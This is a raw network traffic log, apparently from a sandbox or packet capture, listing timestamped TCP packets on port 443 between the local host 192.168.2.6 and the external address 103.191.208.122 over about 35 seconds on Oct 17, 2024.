Oct 17, 2024 10:53:10.910480022 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:10.910531998 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:11.277134895 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:11.277170897 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:11.277249098 CEST	443	49971	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:11.277256012 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.277302027 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.278050900 CEST	49971	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.278718948 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.278769016 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:11.278835058 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.279110909 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:11.279130936 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.377278090 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.379648924 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.379669905 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.751374960 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.751404047 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.751457930 CEST	443	49979	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.751668930 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.751668930 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.752465963 CEST	49979	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.753388882 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.753443956 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:12.753525019 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.753787041 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:12.753802061 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:13.838222027 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:13.840169907 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:13.840188980 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:14.205482006 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:14.205502987 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:14.205573082 CEST	443	49989	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:14.205655098 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.205820084 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.234633923 CEST	49989	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.235471964 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.235505104 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:14.235605001 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.236233950 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:14.236248016 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.328665018 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.331377029 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.331413984 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.696470022 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.696491003 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.696542978 CEST	443	50000	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.696542978 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.696580887 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.697706938 CEST	50000	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.698438883 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.698471069 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:15.698525906 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.699194908 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:15.699204922 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:16.797072887 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:16.838068008 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:16.911400080 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:16.911417961 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.286170006 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.286194086 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.286200047 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.286251068 CEST	443	50007	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.286313057 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.286367893 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.287179947 CEST	50007	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.287821054 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.287837982 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:17.287900925 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.288140059 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:17.288146973 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.375575066 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.377862930 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.377881050 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.746943951 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.746965885 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.747021914 CEST	443	50016	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.747090101 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.747133017 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.747874975 CEST	50016	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.748579979 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.748615980 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:18.748682976 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.748960018 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:18.748967886 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:19.823914051 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:19.826205969 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:19.826235056 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:20.454027891 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:20.454051018 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:20.454113007 CEST	443	50023	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:20.454247952 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.454406977 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.456332922 CEST	50023	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.457020044 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.457072973 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:20.457144022 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.457566023 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:20.457580090 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:21.758486032 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:21.760545015 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:21.760572910 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.131205082 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.131267071 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.131344080 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.131395102 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.131427050 CEST	443	50024	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.131469965 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.132237911 CEST	50024	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.132927895 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.132971048 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:22.133040905 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.133322954 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:22.133335114 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.223088980 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.225286961 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.225317001 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.589485884 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.589514017 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.589571953 CEST	443	50025	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.589629889 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.589679956 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.590476036 CEST	50025	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.591171980 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.591206074 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:23.591280937 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.591569901 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:23.591583014 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:24.675792933 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:24.678045988 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:24.678112030 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.041963100 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.041991949 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.042146921 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.042184114 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.042403936 CEST	443	50026	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.042462111 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.042982101 CEST	50026	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.043709040 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.043770075 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:25.043843985 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.044115067 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:25.044135094 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.125941038 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.129034042 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.129067898 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.495467901 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.495501041 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.495579958 CEST	443	50027	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.495589018 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.495687962 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.496489048 CEST	50027	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.497204065 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.497251034 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:26.497329950 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.497628927 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:26.497639894 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:27.619736910 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:27.622312069 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:27.622344971 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:28.000449896 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:28.000482082 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:28.000550985 CEST	443	50028	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:28.000612020 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.000648022 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.001593113 CEST	50028	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.002389908 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.002435923 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:28.002506971 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.002780914 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:28.002791882 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.114830017 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.116971016 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.117049932 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.481313944 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.481350899 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.481427908 CEST	443	50030	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.481539011 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.482369900 CEST	50030	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.483023882 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.483082056 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:29.483156919 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.483443975 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:29.483454943 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:30.824558973 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:30.826893091 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:30.826945066 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.203181982 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.203253031 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.203334093 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.203437090 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.203490973 CEST	443	50031	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.203547955 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.208189011 CEST	50031	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.209338903 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.209397078 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:31.209465981 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.209799051 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:31.209816933 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.313194036 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.315356970 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.315393925 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.694194078 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.694274902 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.694339037 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.694354057 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.694411039 CEST	443	50032	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.694461107 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.695033073 CEST	50032	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.695694923 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.695807934 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:32.695899963 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.696305990 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:32.696341038 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:33.789665937 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:33.792067051 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:33.792135000 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:34.162381887 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:34.162444115 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:34.162559032 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.162594080 CEST	443	50033	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:34.162667990 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.163486004 CEST	50033	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.164244890 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.164308071 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:34.164402962 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.164722919 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:34.164755106 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.252119064 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.254895926 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.254959106 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.772613049 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.772650957 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.772716999 CEST	443	50034	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.772810936 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.772973061 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.774189949 CEST	50034	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.774904966 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.774951935 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:35.775032043 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.775365114 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:35.775374889 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:36.837137938 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:36.841375113 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:36.841388941 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:37.209490061 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:37.209557056 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:37.209700108 CEST	443	50035	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:37.209726095 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.209805012 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.211040020 CEST	50035	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.211733103 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.211779118 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:37.211884975 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.212356091 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:37.212369919 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.298317909 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.308562040 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.308592081 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.676116943 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.676151991 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.676214933 CEST	443	50037	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.676270962 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.676316023 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.676965952 CEST	50037	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.677702904 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.677755117 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:38.677822113 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.678087950 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:38.678102970 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:39.774782896 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:39.783970118 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:39.783992052 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:40.148736000 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:40.148806095 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:40.148931026 CEST	443	50039	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:40.148938894 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.148998976 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.149979115 CEST	50039	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.150820017 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.150918961 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:40.151025057 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.151316881 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:40.151352882 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.254486084 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.256498098 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.256586075 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.621073961 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.621141911 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.621273041 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.621284008 CEST	443	50040	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.621387959 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.622081041 CEST	50040	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.622725010 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.622787952 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:41.622859001 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.623126030 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:41.623142004 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:42.865951061 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:42.868170977 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:42.868252039 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.271277905 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.271342039 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.271450996 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.271485090 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.271533966 CEST	443	50041	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.271605015 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.272300005 CEST	50041	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.273052931 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.273086071 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:43.273150921 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.273438931 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:43.273453951 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:44.715697050 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:44.717514992 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:44.717550039 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:45.090650082 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:45.090673923 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:45.090727091 CEST	443	50042	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:45.090903044 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.090903044 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.091751099 CEST	50042	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.092395067 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.092448950 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:45.092514992 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.092776060 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:45.092792034 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.181521893 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.184238911 CEST	50043	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:53:46.184299946 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.554554939 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.554620981 CEST	443	50043	103.191.208.122	192.168.2.6
Oct 17, 2024 10:53:46.554702044 CEST	50043	443	192.168.2.6	103.191.208.122
